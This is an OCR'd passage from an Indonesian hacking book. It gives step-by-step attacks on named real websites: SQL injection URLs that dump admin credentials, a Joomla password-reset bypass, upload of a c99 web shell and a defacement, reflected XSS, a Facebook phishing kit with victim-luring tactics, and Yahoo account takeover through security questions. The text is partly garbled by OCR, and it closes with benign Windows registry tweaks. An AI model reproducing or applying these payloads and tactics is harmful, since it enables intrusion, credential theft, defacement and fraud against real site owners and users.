1. Simpan file schemafuzz.py (Anda dapat menghubungi penulis
melalui email: adelphia.andrea@yahoo.com) ke direktori D atau

direktori (drive) yang Anda inginkan.

2. Buka browser Anda (penulis sarankan gunakanlah Mozilla Firefox
atau Internet Explorer). Arahkan URL-nya ke http://google.co.id
atau http://google.com/. Cari salah satu URL website yang ingin
Anda hack dengan kata kunci yang diinginkan. (Untuk dork
khusus, Anda dapat menghubungi penulis melalui email:

adelphia.andrea@yahoo.com.)

3. Di sini penulis menggunakan sistem operasi Windows 8. Jadi
untuk menjalankan program Run tekan Windows Key (tombol
berlogo Windows di keyboard) + R. Ketikkan CMD > OK.

43



4. Di CMD ketikkan “D:” (tanpa tanda kutip) > Enter.
5. Ketikkan perintah schemafuzz.py > Enter. Hasilnya Anda akan

melihat pesan seperti gambar di bawah ini.

C\Windows\system32\cmd.exe = (=

'
i kh41114sh4r3n[Blgmail
H 672808

schemaf pYy
—MySQL v5+ Information_schema Database Enumeration
—MySQL v4+ Data Extractor
—My8QL v4+ Tabhle & Column Fuzzer
chemafuzz .py ptions]

—h help darkcBde .com

6. Kemudian ketikkan perintah berikut:

schemafuzz.py -u “http://www.futuresfins.com/fin-
detail .php?id=173" --Ffindcol

7. Lalu Enter.

Tujuannya untuk memeriksa apakah website tersebut terkena sql
injection atau tidak. Jika berhasil dan situs yang Anda mak-

sudkan bisa di-hack maka pesannya seperti gambar di bawah.
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8.

Masukkan URL hasil dari kolom darkcode URL ke dalam cmd.
Ketikkan dengan perintah seperti berikut untuk melihat versi
MySQL:

Schemafuzz.py —u “http://www.futuresfins.com/fin-

detail.

9,107~

php?id=173+AND+1=2+UNI1ON+SELECT+darkc0de,1,2,3,4,5,6,7,8,
-—-fuzz

Anda akan beruntung jika menemukan target dengan MySQL
versi 5, karena schemafuzz memang dirancang untuk injection
versi 5. Jika MySQL versi 4, maka Anda harus beralih ke cara

manual seperti yang dijelaskan dalam subbab berikutnya.

Gambar berikut ini menunjukkan hasil pencarian nama table,

kolom, dan nama database menggunakan schemafuzz di cmd.

(o] CAWindows\system32\cmd.exe = [

—MySQL vd+ Table & lumn Fuzzer
sage: schemafuzz.py [options]
—h help darkcBde .com

3+AND+1 =2 +UNION+S ELECT +d|

Pm;xy-Nnt Given
Gathering MySQL Server Configuration...
Dat. Futur P

ion 1.
Mumber of tables nami
Number of column names to he fi
Searching for tables and columns

Found a table called: images

Mow searching for columns inside table “images
Done searching inside table “images" for columns?

Found a tahle called: users

Mow searching for columns inside table “us
a column called:
o a column calle
Found a column called:
Done searching inside table “'wsers" for columns?

16:06:26
Total URL Requests 837
Done

[Don’t forget to check schemafuzzlog.txt

Pada tahap ini, schemafuzz akan menunjukkan kepada Anda

nama database dan beberapa table juga columns yang bisa dibaca.

Langkah selanjutnya mengeluarkan hasil dari database, table dan

columns yang ingin dibaca. Ketikkan perintah berikut di cmd:
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schemafuzz.py -u “http://www.futuresfins.com/fin-

detail .php?id=173+AND+1=2+UN10ON+SELECT+darkcOde,1,2,3,4,5,6,7,8,
9,10" --dump -D Future_future2 -T users -C
username,password,userid

Penjelasan:

e -D =adalah nama database
e -T =adalah nama table

e -C=adalah nama kolom

B C:\Windows\system32\cmd.exe - g

.consteam—sup. php">8UP</a>< 11>

: ?0px"'>SUP &nbsp; id{sa’>

<1i>{a href="http:/ Futuresfin
on/facehooksup">Facehook SUP</a></1i>
<li><a href="http://futuresfin
0g/FUTURES_2@12_SUP_LINE_pdf" target="_hlank">SUF Catalog <span style
=.Ben; ">C(PDFX</span></a></1i>

< 18>
<1i sty

presf ins .con/media.php! style="width:76p

is

(href ="http://uww.futuresfins.com/about—f

i sty th: ?78px; " ><a styl
e ="http://nevs . Futuresf ins . com">BLOGK 7a>< /11>

<rul>
adding2@">

howcase inage''>
<ing name="mcoreing" id="mcoreimg" src="http://uuu._futuresf ins.con/inage|

Lrted>

td valign="top" "Finfo'>
h2>:NoDataInColumn:adnin=foilcore:
11 No data

16:51:25

Total URL Requests 3
one

Hasilnya Anda sudah mendapatkan username dan password dari
administrator. Sekarang jika ingin mengetahui lebih dalam lagi mengenai
isi website tersebut, Anda bisa login ke halaman administrator meng-

gunakan user dan password yang sudah kita dapat.
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SQL Injection Versi 2 - Manual (MySQL 5)

Jika cara sebelumnya menggunakan aplikasi pendukung, maka kali ini
caranya dengan mengetikkan sendiri input-input atau karakter khusus ke
dalam url target. Dalam contoh kasus beberapa situs yang akan di-inject,
terkadang Anda perlu melakukannya dengan cara manual dan tidak bisa

di-inject melalui schemafuzz. Langsung saja perhatikan langkah berikut:

1. Buka browser dan arahkan url-nya ke
http://www.aoifeonline.com/news.php?id=49. Tambahkan tanda
petik satu () di akhir url untuk mengetahui apakah ada pesan

error-nya. Berikut ini gambar situs yang error setelah diinjeksi.

Jika ada pesan error-nya, maka situsnya bisa di-hack. Namun
perlu diperhatikan juga bahwa pesan error tak harus muncul di
bagian body website. Beberapa kasus yang penulis temui, ada
pesan error yang muncul di bagian bawah website (footer) dan

malah ada yang di bagian title bar.

2. Sekarang kita mulai mencari dan menghitung jumlah table yang
ada di dalam database-nya. Dengan melakukan perintah: union
select yang artinya kita meminta perintah penggabungan
SELECT.

Contoh dork:

| /news.php?id=49+and+1=2+union+select+0,1--

Atau:

| /news.php?id=49+and+1=2+union+select+0,1*/

Kita coba satu per satu angka untuk menebaknya.
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Contoh dork:

/news.php?id=49+and+1=2+union+select+0,1 --
/news.php?id=49+and+1=2+union+select+0,1,2--
/news.php?id=49+and+1=2+union+select+0,1,2,3--

Jika pesan error berubah, itu artinya table yang ditebak belum

benar, seperti gambar berikut.

Lakukan terus hal di atas pada dork, sampai hilang pesan error-
nya. Pada website yang penulis coba, pesan error menghilang di

angka 7.

Contoh dork:

http://www.aoifeonline.com/news.php?id=49+and+1=2+union+select+0
,1,2,3,4,5,6,7--
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Gambar berikut ini menunjukkan halaman situs yang menam-

pilkan id table yang mengandung kesalahan.

O4—

Lihat angka yang keluar pada situs, ada dua angka yang bisa

dijadikan patokan. Namun dalam sql injection versi 5, kita




menggunakan angka yang kedua untuk dijadikan petunjuk.
Angka yang keluar kedua adalah angka tiga (3) pada gambar di

atas.

Tips: Terkadang beberapa sistem melakukan penolakan terhadap perintah
union select. Anda bisa menggunakan alternatif lain dengan perintah

order by.

3. Gunakan perintah @@version pada angka yang keluar untuk

mengecek versi mysqL.

Contoh dork:

http://www.aoifeonline.com/news.php?id=49+and+1=2+union+select+0
,1,2,@0@version,4,5,6,7--

Berikut ini halaman situs yang menampilkan versi mysqgl.

ABOUT ADIFE MEMBERS JOIN NOW PUBLICATIONS NEWS

NEWS

2
Cate: Jan 1, 1970

« Back To News

]
I
—

Ternyata versi MySQL adalah versi 5, ini artinya kita bisa
meneruskan tutorial. Karena jika versi 4, maka Anda harus

menebak-nebak sendiri nama table dan kolom mysgl-nya.

4. Untuk menampilkan table yang ada pada situs target, bisa

dilakukan dengan melakukan perintah:

group_concat(table_name) - dimasukkan pada angka yg keluar tadi.
+from+information_schema.tables-- > dimasukkan setelah angka
terakhir.
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Berikut ini halaman situs yang menampilkan nama-nama table

dalam database.

ADIFE MEMBERS JOMN NOW PUBLICATIONS NEWS COMPETITIONS LINKS CONTACT

= NEWS

2
Date: Jan 1, 1870

[cmaac*‘.'{ﬁ‘_ts COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRMVILEGES KEY_COL

« Back To News

Contoh dork:

http://www.aoifeonline.com/news.php?id=49+and+1=2+union+select+0
,1,2,group_concat(table_name),4,5,6,7+from+information_schema. ta
bles--

Akan keluar beberapa nama table yang diminta.

5. Ini adalah langkah yang cukup sulit dan memakan waktu yang
lama. Di sini Anda harus mencari tahu table mana yang
mengandung username dan password. Dengan kata lain, Anda

harus mencari tahu satu per satu isi table-nya.

Nama table yang ingin dicari tahu, harus terlebih dahulu di-
convert ke hex, karena masih berbentuk ascii dan tidak bisa
terbaca browser. Untuk meng-convert, Anda harus mengguna-
kan tools yang banyak tersedia di Internet. Pada contoh kali ini
penulis  menggunakan  tools  yang  beralamat  di

http://www.dolcevie.com/js/converter.html.

Masukkan salah satu nama table ke kolom Ascii. Kemudian klik

Hex To ASCII untuk meng-convert.

Berikut ini aplikasi converter ASCII dari situs dolcevie.
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<« & www.dolcevie.com

Hex To ASCIl Converter

72:73:65:72 4— | Hasil convert
Hex
Ascii Nama table yang ingin
di-convert

Hex To ASCI ASCI To Hex

Anda akan mendapatkan sejumlah angka dan huruf di kolom
Hex. Copy-kan angka dan huruf tersebut dan hilangkan karakter
tanda bagi (:) sehingga angka yang Anda dapatkan sebagai
berikut:

75736572

Kemudian lakukan langkah berikut untuk mengeluarkan hasil
table:

group_concat(column_name) - dimasukkan pada angka yang keluar tadi.
+from+information_schema.columns+where+table_name=0x_angka yang

di-convert tadi-- > ditambahkan pada angka terakhir.

Contoh dork:

http://www.aoifeonline.com/news.php?id=49+and+1=2+union+select+0
,1,2,group_concat(column_name),4,5,6,7+from+information_schema.c
olumns+where+table_name=0x75736572--

Hasilnya Anda bisa melihat nama-nama kolom yang keluar.

Gambar berikut ini menunjukkan halaman yang menampilkan

nama-nama kolom dari table.
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Beberapa nama kolom di atas ada yang bernama User dan
Password. Bisa ditebak bahwa kolom tersebutlah yang menyim-

pan data user dan password.

6. Selanjutnya untuk mengeluarkan isi dari kolom, tambahkan dork

sebagai berikut:

group_concat(0x3a,user ,0x3a,password) > dimasukkan pada angka
yang keluar tadi.
+from+namat abl e-- > dimasukkan pada angka terakhir

Contoh dork:

http://www.aoifeonline.com/news.php?id=49+and+1=2+union+select+0
,1,2,group_concat ( 0x3a, user, 0x3a, password) ,4,5,6,7+f romtuser - -

Maka hasilnya seperti gambar di bawah ini yang menunjukkan
halaman situs yang menampilkan pesan isi kolom username dan

password dari tabel user.

>
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Hasil di atas adalah data login dari user yang terdaftar di database,

mungkin itu adalah admin dari situs tersebut.

Situs yang tertera di atas untuk dijadikan bahan pelajaran saja, bukan
untuk dirusak. Pada saat buku ini ditulis, penulis sudah menghubungi
pemilik situs tersebut untuk memberitahukan bahwa ada bug sql injection
pada situsnya. Anda bisa mencari situs target lain melalui dork di situs

Google.

Blind SQL Injection (MySQL 4)

Hampir sama namun berbeda dari trik di atas. Blind sql injection
digunakan untuk situs yang memakai MySQL versi 4. Trik ini mungkin
akan sedikit sulit dari sebelumnya, di mana kita tidak bisa memanggil

perintah information_schema dari database.

Jadi, bagaimana mengetahui halaman error-nya? Dengan kata lain, blind
sql injection adalah seperti sebuah permainan tebak-tebakan. Di sini Anda
harus menebak apakah situs tersebut dapat di-hack atau tidak. Jika dapat
di-hack, website tersebut akan normal dan tidak menampakkan pesan
error. Jika tidak bisa di-hack maka website akan menampilkan pesan

€rror.

Cukup rumit memang, namun tenang saja, sebab penulis sudah memiliki
trik untuk memudahkan Anda belajar dan mempraktikkannya. Biasanya
Attacker memakai karakter single min (-) atau single quote (‘) untuk
menyerang website. Tetapi injeksi pada blind lebih maksimal apabila

menggunakan query di bawah ini:

and 1=1

Atau

| and 1=2
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Masukkan perintah tersebut di akhir url, contoh dork:

| http://situstarget/index.php?xP=11&id=1 and 1=1

Maka hasilnya adalah halaman normal seperti gambar berikut ini. Berarti

[13 ”
server mengatakan “ya”.
o o

Event Detsits

Namun, coba jika kita memasukkan perintah kedua, contoh dork:

| http://situstarget/index.php?xP=11&id=1 and 1=2

Hasil yang ditampilkan adalah halaman error, yang berarti server

mengatakan “tidak”. Dengan kata lain, situs tersebut tidak bisa diinjeksi.

Berikut ini gambar halaman situs error dan tidak menampilkan apa-apa.
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Saya anggap sampai langkah ini Anda sudah mengerti tentang blind sql
injection yang menggunakan pertanyaan Ya dan Tidak. Error berarti
Tidak. Normal berarti Ya.

Kemudian kita akan menebak table admin, di sini penulis menebak
bahwa table yang digunakan admin adalah users. Masukkan kode di
bawah:

and (select 1 from nama_table limit 0,1) =1

Contoh dork:

http://situstarget/index.php?xP=11&id=2 and (select 1 from users
limit 0,1) =1

Hasilnya halaman normal dan tidak menunjukkan konten (lihat gambar
di bawabh ini). Ttu adalah jawaban Ya dari server. Berarti tebakan table-nya

benar.

= - |
e@| S musers limit 0,1)=1 0 < £ ¢ H 4 LuxCal Web Calendar | | i

Event Details

Title

Venue
Category:
Description:

Date / time:

Owner.

Namun apabila tebakan table salah, maka halamannya seperti gambar di

bawah ini yang menunjukkan web aplikasi menampilkan pesan error.

- 0O

e@| o fromrlimit0,1)=1 0 ~ B O ” el LuxCal Web Calendar ‘ ‘ 1

Event Details
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Nama table yang dicari pada umumnya adalah admin, user, jos_user, atau
lain sebagainya. Langkah selanjutnya adalah menebak nama kolom.
Beberapa yang biasa digunakan adalah username, user_name, user_login,
dan lain sebagainya. Untuk proses selanjutnya masih sama dengan mene-

bak kolom untuk mengeluarkan hasilnya.

Joomla Hacking

Joomla adalah salah satu content management system open source yang
dikembangkan oleh komunitas joomla. Beribu-ribu developers turut serta
mengembangkan cms ini sehingga menjadikan joomla sebagai cms yang
memiliki tingkat keamanan yang tinggi. Walau begitu pun, banyak sudah
hacker yang mem-publish celah keamanan yang bisa ditembus di joomla.
Hingga buku ini ditulis, joomla sudah mencapai versi 3. Berikut tampilan

situs resmi joomla.

Jika ingin mengetahui dork-dork terbaru, Anda bisa melihatnya di
http://www.exploit-db.com/, yaitu sebuah situs yang menampilkan celah-
celah terbaru untuk beberapa situs yang menggunakan cms joomla.
Sebelumnya situs ini bernama milwOrm. Berikut ini tampilan halaman

exploit-db.com.
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Penulis akan mencoba teknik reset TOKEN yang ada di joomla. Dork-nya
adalah:

| inurl:option=com user

Di sini penulis mendapatkan target dari google dengan url sebagai
berikut:

| http://www.situstarget.net/index.php?option=com_useré&view=reset |

Dan tampilan awal yang didapat adalah (halaman forgot password

joomla):
Forgot your Password?

Flease enter the e-mail address for your account. A verification to

vill be sentto you. Once you
have received the token, you will be able to choose a new pas ryour account.
E-mail Address:

Submit

Tambahkan dork berikut:

| index.php?option=com_user&view=reset&layout=confirm |

Sehingga URL-nya menjadi:

http://www.situstarget.net/index.php?option=com_user&view=reset§]

layout=confirm
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Dan halaman berubah menjadi (kolom untuk memasukkan token):

Confirm your Account

An e-mail has been sentt ification token, please

paste the token in the fielt

re

ail address. The e-mail contains a
to prove that you are the e

Tentunya Anda tidak mengetahui token yang dimaksud. Namun di sini
Anda hanya perlu memasukkan tanda petik satu (‘) pada kolom Token

tersebut.

Confirm your Account

An e-mail has been sent to your e-mail address. The e-ma ion token, please

paste the tokenin the field prove that you are th

Token: O

Submit

Jika berhasil, sistem akan meminta Anda untuk memasukkan password
baru. Ketikkan password baru di kolom Password dan ulangi mengetik-
kan password yang sama pada kolom Verify Password. Berikut ini

halaman reset password di joomla.

Reset your Password

To complete the password reset process, please enter a new password.

FPassword: Ioooooo

Verify Passwaord: Io [II1Y]
Submit |

Jika sudah berhasil masuk ke halaman admin joomla yang beralamat di:

| http://www.situstarget.net/administrator/
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Selanjutnya Anda akan masuk ke halaman login administrator.

Dan berikut ini halaman admin untuk cms joomla.

Mencari Halaman Admin

Setelah semua kegiatan pencarian nama database, nama table, nama
columns, dan lainnya, saatnya untuk mencoba mencari halaman
administrasi. Halaman admin adalah halaman yang mengatur semua
tampilan yang ada di index. Baik itu tema website, berita, profile, dan lain

sebagainya.
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Untuk itu, penulis akan mencoba menggunakan aplikasi yang bernama

admin finder. Caranya sebagai berikut:

1. Jalankan aplikasi AdminPage.

-~

Mame Date modified Type Size
| admin 3/ 09 4:51 PM Text Document 4KB
™ AdminPage 11/5/2008 1:35PM Application B3 KB
2. Masukkan situs target di bagian kolom Target. Kemudian klik
Scan untuk memulai mencari direktori. Berikut ini jendela
aplikasi adminpage untuk memeriksa halaman login.
> Login Finder - o IEN|
,1’ 4—-,";: ‘_-v(.._.'-‘; S =
Target:
http://www.ini-san.com
Scan Close
Directory Resporse
Status
3. Selanjutnya aplikasi akan menelusuri direktori web target untuk
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mencari folder yang berhubungan dengan halaman admin.

Berikut ini tampilan hasil pencarian halaman login admin.



Pada contoh situs yang penulis scan, aplikasi mendeteksi
halaman admin di beberapa direktori, lalu aplikasi ini akan secara

otomatis membuka halaman tersebut di browser.

4. Masukkan username dan password yang sudah Anda ketahui,

kemudian klik Login untuk melanjutkan.

Dapat Anda lihat juga di bagian admin.txt terdapat beberapa nama folder
yang mungkin adalah nama folder admin. Anda bisa menambahkannya

untuk melakukan pengecekan terbaru.
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Intip Isi Website dengan Happy Browser

Happy Browser merupakan alat bantu terbaik para hacker untuk melacak
“security hole” komputer remote yang akan di-hacking. Tapi di sisi lain,
pengembangnya juga mengatakan bahwa alasan yang sebenarnya
mengapa mereka membuat happy browser adalah, sebagai salah satu
upaya atau kontribusi mereka untuk ikut serta mengembangkan tool atau
alat pelacak security yang gratis dan mudah digunakan pada platform
Windows. Oleh sebab itu, pengembangnya juga mengharapkan agar
happy browser bisa digunakan siapa saja untuk melacak, memeriksa, dan
mencari sistem keamanan komputer-komputer server yang dicurigai
memiliki sejumlah kelemahan (vuln), meskipun wawasan Anda minim

tentang security.

Penggunaan

Hampir sama dengan aplikasi hacking kebanyakan, happy browser juga
sangat mudah digunakan. Yang perlu Anda lakukan hanya satu, yaitu
menyiapkan alamat-alamat server (URL) yang ingin Anda periksa untuk

dimasukkan ke dalam field Address. Sebagai contoh, ketiklah
www.http://google.com/bola.net atau url lainnya. Lalu tekan Enter,

tunggu beberapa saat sampai pemeriksaan selesai.

@ Happy Browser Beta 0.9.1 by Doc Holiday & Ganymed /THC - oIEN
Eile Options Inf
Address [ww.bola.ret| ~
Scanned Results
€ www bolanet
Hint

scan from www.bola.net finished
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Namun jangan lupa, selama proses pemeriksaan vulnerability berlang-
sung, maka saat itu juga Anda sudah bisa melihat informasi sementara

yang berhasil ditemukan program happy browser pada kategori server

info.

Di antaranya adalah DNS Lookup, Web Server, Finger, dan FTP, sama
seperti yang diperlihatkan pada beberapa gambar di bawah ini.

= Melihat infomasi DNS

@) Happy Browser Beta 0.9.1 by Doc Holiday & Ganymed /THC = B “
File Options Info

Address [www.bola.net B

Scanned Results
) wewbolanet 20312215
E-4y Server Info 203.12.21.1
Web Server

Finger
@ FP
A Security

Hint

scan from www.bola.net finished

= Melihat informasi versi Web Server
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Melihat informasi FTP dari situs lainnya

Melihat informasi sistem FTP dari situs lainnya

Melihat informasi Anonymous FTP dari situs lainnya



Selanjutnya jika program happy browser Anda selesai melakukan
pemeriksaan, masuklah ke dalam kategori security, lalu lihat informasi
apa saja yang sudah ditemukan dari host server yang Anda periksa tadi.
Apabila program happy browser Anda gagal menemukan vulnerability
(adanya celah keamananan pada suatu website untuk ditembus) terhadap
host server yang Anda periksa, mungkin pesan kesalahannya akan tampak

sama seperti yang diinformasikannya.

Kalau memang informasi yang Anda peroleh hasilnya sama seperti yang
terlihat pada gambar di atas, maka dengan cara yang sama, saya sarankan
Anda untuk segera mencoba host atau alamat server yang lain. Dan
setelah Anda memulainya, mungkin Anda akan memperoleh informasi

sebagaimana yang terlihat pada gambar-gambar di atas.

Upload Shell, Backdoor

Shell atau backdoor adalah pintu belakang untuk masuk ke dalam sistem
apabila suatu celah yang biasa digunakan untuk masuk (pintu depan)
sudah di-patching. Shell biasanya dapat di-upload dengan mudah pada
situs berbasis cms joomla. Shell juga berbentuk script php, script-nya
dapat dengan mudah ditemukan di internet. Atau, Anda dapat meng-

hubungi penulis melalui email: adelphia.andrea@yahoo.com untuk

65



format notepad (txt). Anda bisa me-rename-nya menjadi format php

untuk kemudian di-upload.

Jika Anda sudah mendapatkan username dan password control panel
target, Anda bisa langsung memasang shell ke direktori yang Anda
inginkan. Nantinya shell ini akan berguna untuk meng-explorer semua
yang ada di folder hostingan situs target. Berikut ini tampilan shell ¢99.

] fumia " [ o w ook B O — - o EN
©.| 1 wwwdetmwaterscom =

# Cc99pRoShell v. X1 pRo edition #

Deface

Setelah mengetahui username dan password, Anda bisa melakukan deface
terhadap website tersebut. Apa itu deface? Deface adalah melakukan
pewajahan ulang pada halaman website, baik itu index atau direktori
lainnya. Deface sering digunakan oleh para hacker untuk memberita-

hukan para admin bahwa situsnya sudah mempunyai celah.

Jika sebelumnya Anda sudah berhasil membuat shell ke dalam server
target, maka untuk melakukan deface merupakan hal yang sangat mudah.

Caranya sebagai berikut:

1. Disini penulis sebelumnya sudah meletakkan shell ke dalam situs

target, shell yang digunakan adalah c99.

http://www.deltawaters.co.bw/admin/newsletters/c99. php
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2. Untuk menuju direktori utama, masuk ke httpdocs pada kolom

Go Dir > Go. Gambar berikut menunjukkan perintah untuk

menjalankan direktori public di shell.

:: Go Dir ::

E:\whostwebsites\deltawaters. co.bwihttpdocs)

3. Klik index.php. Karena kita akan mengedit tampilan halaman

index. Berikut ini file-file yang ada di direktori utama.

T " fr——— my

it

4. Klik EDIT untuk mengedit file/mengubah script.

index.php (23.01 KB)

e H
DIZ | HTML | TXT | Session | EXE | SDB | INI | DOWNLOAD | uTr‘/

Select action, type:

et | sttt ]| Cortem

<htmls>
<head>

<link rel="stylesheet” type="text/css” href="style.ess">
<title>delta waters international school</title>
<meta http-equiw="Content-Type" content="text/html; charset=iso-2353-1">

<seript type="text/javasczript">

var fadeimages=mew Array(

fadeimages [0]=["promos/01
eimages [1]1=["promos/02
eimages [2]1=["promos/03
fadeimages [3]=["promos/04

Il

//5ET IMRBGE PATHS. Extend or consract a

-Jeg”
-Jpg”
-Jpg”

3pgt, "t

rray as needed

//plain image syntax

//image with link syntax

//image with link and target syntax
//image with link and target syntax

5. Ketikkan kode-kode html yang Anda inginkan. Sebagai contoh,

di sini penulis menggunakan kode html berikut:
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<center> Deface by Andrea Adelheid </center>

Klik Save untuk menyimpan perubahan. Script html biasanya

untuk menampilkan halaman deface.

Save | | Reset | | Back
[ <center> Deface by Andrea Adelheid < /center |

6. Maka jika siapa pun melihat halaman index.php, hasilnya akan
seperti gambar di bawah ini, tampilan index yang sudah berhasil
di-deface.

5] p-zcf |

Deface by Andrea Adelheid

XSS Attack (Hacking Web Paling Mudah)

Dari antara semua teknik yang penulis paparkan, hanya xss-lah (cross site
scripting) yang dikategorikan trik yang paling mudah. Xss hanya perlu
dilakukan pada situs dengan memasukkan perintah html di akhiran url
atau form yang terkena bug xss. Berikutnya akan penulis contohkan situs

yang terkena xss attack.

1. Cari sebuah situs di google dengan kata kunci:

inurl:"/showcatrows.php?CategorylD="

2. Di sini penulis mendapatkan situs dengan url:

http://2muchvector .com/showcatrows.php?CategorylD=41
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Cukup tambahkan sebuah script html di ujung url-nya, maka
situs pun akan terinjeksi kode html tersebut. Berikut ini halaman

website yang berhasil terkena xss.

Contoh dork:

http://2muchvector .com/showcatrows.php?CategoryD=41%3Cp%3E%3Ch1
%3EHacked%20by%20Andrea%20Ade Ihe 1 d%3C/h1%3E%3C/p%3E

Hacking xss bersifat sementara, dan bisa dikatakan sebagai hiburan saja.
Sebab jika Anda kembali ke halaman index utama atau me-refresh, maka

halaman kembali seperti semula.

Facebook Hacking dengan Phising Attack

Phising attack adalah sebuah halaman login web palsu yang digunakan
pada hacker untuk mencuri data-data user yang dimaksud. Biasanya cara
ini digunakan untuk mencuri password email dan akun jejaring sosial.
Untuk menjadi seorang phiser (sebutan untuk mereka yang sering mela-
kukan teknik phising) tidaklah dibutuhkan sebuah keahlian khusus dalam
memprogram suatu web aplikasi, karena beberapa halaman login palsu
ini sudah tersebar di dunia maya dan bisa Anda download secara gratis.
Lagi, phising juga banyak dilakukan dengan social engineering yang
memanfaatkan kelemahan korbannya saat mengintepretasikan informasi

di Internet.
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Contoh mudah phising Facebook akan penulis jelaskan dalam langkah

berikut:

a

Ekstrak file facebook.zip (Anda dapat menghubungi penulis

melalui email: adelphia.andrea@yahoo.com).

Kemudian jalankan file index.php-nya dari hosting. Sebagai
contoh, di sini penulis menjalankannya dari localhost. Berikut ini

tampilan situs facebook palsu.

FAQ: Jika Anda menjalankan script ini dari localhost, Anda harus

terkoneksi ke internet terlebih dahulu, karena script tersebut meminta

source css dan image yang terhubung ke facebook.com.
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Sekilas jika dilihat memang tidak ada bedanya dengan situs
Facebook yang asli. Namun coba Anda perhatikan url-nya, sama
sekali berbeda. Pada situs tersebut, jika korban memasukkan
username dan password ke dalam kolom yang tersedia, maka
hasilnya akan diarahkan ke file login.php. Script login.php secara
otomatis akan menyimpan hasilnya di file hasil.htm. Berikut ini

hasil dari fake login facebook.



|:| localhost/xampp/faceboc x \
€« c localhost

Emailhacker @hacker com Password:bukuhacking

Konsep Penerapan

Untuk memancing korban agar terjebak dalam fake login, memang tidak
mudah. Anda harus melakukan pendekatan agar korban tertarik untuk

mengunjungi situs Anda. Beberapa teknik yang bisa coba adalah:

a) Menyamar sebagai admin Facebook dan mengirim pesan kepada

korban, seolah-olah korban telah melanggar aturan yang ada.

b) Membujuk korban melalui fitur chat agar mengklik fake login

Anda. Kemudian yakinkan dia agar mengisi form yang ada.
¢) Memberikan hyperlink ke fake login Anda dari postingan forum.
d) Memberikan hyperlink dari gambar.

Beberapa cara di atas memang terkadang bisa membuat korban curiga
jika Anda langsung ke pokok permasalahan. Sebaiknya Anda sekadar
bersenda-gurau terlebih dahulu. Jika sudah ada keakraban, dalam bebe-

rapa hari kemudian, Anda bisa mencoba konsep di atas.

Email Hacking

Untuk meng-hack email, sebenarnya sangat sulit. Sungguh sangat
mustahil untuk meretas situs besar seperti facebook, yahoo, bing, ataupun
google dengan teknik sql injection, blind sql, atau rfi/lfi sekalipun. Sudah
pasti situs-situs besar tersebut mempunyai trafik dan transaksi yang tinggi
setiap jamnya. Oleh karena itu, dapat dipastikan bahwa pemiliknya

mempekerjakan orang-orang yang ahli di bidangnya, yaitu para hacker.
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Bayangkan, jika satu hacker membuat sebuah situs dengan tingkat
keamanan yang tinggi, apalagi jika situs tersebut dikerjakan oleh

berpuluh-puluh hacker.

Tidak ada yang 100% aman di dunia maya, bahkan membobol akun
email yahoo pun, bisa dilakukan dengan teknik social engineering, salah
satunya adalah menjawab pertanyaan keamanan. Kemudian Anda harus
tahu nama akun yang akan di-hack dan domain yang dimiliki, seperti

yahoo.com, yahoo.co.id, yahoo.uk, rocketmail.com, atau ymail.com.

@ Pada saat login password, klik I can't access my account. Karena

di sini kita tidak mengetahui password akun.

@ Jika Anda sudah mengetahui ID Yahoo-nya, pilih bagian I have a

problem with my password, lanjutkan dengan mengklik Next.
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o Kemudian pada bagian My Yahoo! ID is ketikkan ID yang ingin
di-hack (nama akun email). Di Type the code shown ketikkan
kode yang keluar (captcha). Klik Next untuk melanjutkan.

@ Pada tahap ini, Anda akan diminta menjawab dua pertanyaan.

Jawablah pertanyaan pertama ini dengan benar.

@ Selanjutnya jika benar, Anda akan mendapati pertanyaan kedua.
Jawablah pertanyaan ini dengan benar, klik Next untuk melan-

jutkan.
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YAHDOL Yahoo! He

| Your P rogress

Please answer your secret question
This is it, ware almost done!

Question 2 of 2

What was the make of your [ SEATALEATIGNIE HOT
first TOtorcYC!F? REMEmbEr, you may have abbrevisted
Added December 16, 2009 gome words of used numbers ag part
of your answer

Exit Wizard Mext |

a

Jika pertanyaan kedua berhasil dijawab dengan benar, maka

yahoo akan meminta Anda untuk me-reset password Anda.

YaHOO!.
| Your Progres

Welcome back,

‘ou've verfied your account details and may now change your password

Mew Password A To make your pASEWOrD More secure
- Une letters and numbers
- Use apecial charscters (e.g. @)
Ui lowercass and uppercass

Re-type New Password e

Next

Isikanlah password baru Anda di kolom New Password dan ulangi

mengetikkannya di kolom Re-type New Password. Lalu klik Next dan
Anda akan masuk ke dalam inbox email korban.
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BAB 05

HACKING WINDOWS

Sudah banyak software yang bisa dipakai untuk dapat mengakali OS
Windows Anda. Namun sebagian besar software tersebut banyak yang
tidak bisa dipakai untuk membongkar objek registry dan objek non-
registry. Pembahasan berikut ini adalah membongkar Windows setelah

OS berada dalam genggaman Anda untuk diutak-atik.

Disable DOS Prompt

Secara default, windows akan mengizinkan siapa saja yang masuk ke
dalam prompt ms-dos dan ke mode single ms-dos dengan cara mengklik
ikon ms-dos prompt. Atau, bisa juga dengan cara mengetikkan perintah
command dari menu Start > Run. Tetapi jika ingin, Anda juga bisa
mengunci program tersebut agar tidak dijalankan oleh orang lain.

Langkah-langkahnya sebagai berikut:

1. Klik tombol Start > Run. Setelah itu, ketik regedit untuk

menjalankan program registry editor (regedit) > Enter.

= Run

—  Typethe name of a program, folder, document, or Internet
resource, and Windows will open it for you.

Dpen: reg ediﬂ w

oK Cancel Browse...
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2. Masuk ke dalam folder HKEY CURRENT USER\Software\
Microsoft\Windows\CurrentVersion\Policies. Kemudian buat
key baru dengan nama WinOIldApp. Caranya, klik tombol mouse

kanan, lalu pilih menu New > Key.

3. Dari dalam folder winoldapp yang baru Anda buat tadi, klik
kanan lalu pilih menu New > String Value.

£ Registry Editor - o EE

|| Mama Tyee Daty

i\ HKEY_CURRENT_USER) o ot Windums) urentVersion Polcie WinOidipp

4. Setelah itu, ketik Disabled untuk mengunci akses ke ms-dos
prompt, dan NoRealMode untuk mengunci akses ke single-mode

ms-dos.
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5. Setelah kedua string selesai dibuat, klik tombol mouse kanan
tepat di atas string Disabled/NoRealMode, lalu pilih menu
Modify. Kemudian, ketikkan angka 1 sebagai nilainya.

Catatan: jika Anda ingin mengembalikan nilai kedua buah string tadi
seperti kondisi semula, Anda cukup mengganti nilai 1 menjadi 0
atau hapus key winoldapp.
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Mematikan Fungsi Klik Kanan

Adakalanya Anda ingin mengunci program windows explorer agar orang
lain tidak bisa melihat (mem-browse) semua isi harddisk. Tapi ketika
Anda sudah menguncinya, ternyata mereka masih bisa menjalankan
program itu dengan cara mengklik tombol mouse kanan tepat di atas

